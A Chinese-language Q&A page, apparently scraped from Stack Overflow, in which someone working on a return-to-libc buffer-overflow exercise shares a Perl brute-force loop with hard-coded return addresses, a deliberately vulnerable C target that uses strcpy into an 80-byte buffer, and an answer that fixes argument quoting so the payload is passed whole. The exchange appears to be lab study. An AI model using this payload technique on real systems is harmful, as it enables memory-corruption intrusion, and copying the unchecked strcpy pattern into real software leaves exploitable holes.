【问题标题】:Correct way to pass hex characters as arguments - system()将十六进制字符作为参数传递的正确方法 - system()
【发布时间】:2023-03-30 00:10:01
【问题描述】:

我正在处理缓冲区溢出问题,并且正在尝试执行返回 libc 漏洞。为了帮助我,我设计了以下 perl 脚本:

#!/usr/bin/perl

for ($i = 1; $i < 200; $i++) {
    print "count: $i\n";
    system("echo 1 | ./vuln " . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf");
}

这是我的目标代码 (./vuln):

#include<stdio.h>
#include<string.h>

main( int argc, char **argv)
{
    char buffer[80];
    printf("%d\n%s\n", strlen(argv[1]), argv[1]);
    getchar();
    strcpy(buffer, argv[1]);
    return 1;
}

这是脚本的输出:

count: 1
1
A
count: 2
2
AA
count: 3
3
AAA
count: 4
4
AAAA
count: 5
5
AAAAA

这表明最后连接的字符串(具有大量十六进制字符的字符串)的任何部分都没有成功作为参数传递。

我在这里做错了什么?

【问题讨论】:

  • \x20 是一个空格,所以在此之后它的 argv[2]

标签: perl buffer-overflow


【解决方案1】:

试试这个:

system("echo 1 | ./vuln '" . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf'");

0x20 是空格,因此没有引号之后的所有内容都是一个单独的参数。

【讨论】:

    猜你喜欢
    • 2014-05-13
    • 2010-10-12
    • 2011-08-06
    • 1970-01-01
    • 2017-11-13
    • 2019-02-21
    • 1970-01-01
    • 2011-04-07
    • 1970-01-01
    相关资源
    最近更新 更多